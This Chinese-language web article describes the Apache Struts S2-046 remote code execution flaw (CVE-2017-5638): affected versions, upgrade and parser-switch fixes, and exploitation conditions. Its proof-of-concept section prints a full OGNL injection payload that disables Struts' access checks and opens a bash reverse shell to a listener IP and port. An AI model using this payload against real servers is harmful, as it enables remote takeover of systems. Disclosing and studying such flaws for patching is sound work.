1、漏洞
漏洞编号:CVE-2017-5638。
影响范围:Struts 2.3.5 Struts 2.3.31,Struts 2.5 Struts 2.5.10。
修复建议:升级至Apache Struts 2.3.32或2.5.10.1版本。
2、漏洞复现条件
使用Jakarta插件:系统必须使用Jakarta插件,检查Struts2配置文件中是否有以下配置:<constant name="struts.multipart.parser" value="jakarta-stream"/>。
文件大小限制:上传文件的大小(由Content-Length头指定)大于Struts2允许的最大大小(2GB)。
恶意OGNL内容:文件名内容构造恶意的OGNL内容。
3、漏洞危害
远程代码执行:攻击者可以通过构造特定的请求包,在系统中执行任意代码,可能导致数据泄露、网页篡改、植入后门等安全事件。
系统权限获取:攻击者可能通过远程命令执行获得系统管理员权限,从而对系统进行任意操作。
4、临时修复方案
修改Multipart Parser:将struts2的Multipart parser从jakarta更改为pell,相当于禁用了存在漏洞的jakarta框架。
5、POC示例
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/ip/port 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}b
注意:POC中的IP和port需要更改为监听主机的IP和port。
S2-046漏洞是一个严重的远程代码执行漏洞,影响多个版本的Struts框架,用户应尽快升级到不受此漏洞影响的版本,并采取其他安全措施来降低风险。
以上内容就是解答有关s 046漏洞的详细内容了,我相信这篇文章可以为您解决一些疑惑,有任何问题欢迎留言反馈,谢谢阅读。
本文来源于互联网,如若侵权,请联系管理员删除,本文链接:https://www.9969.net/89330.html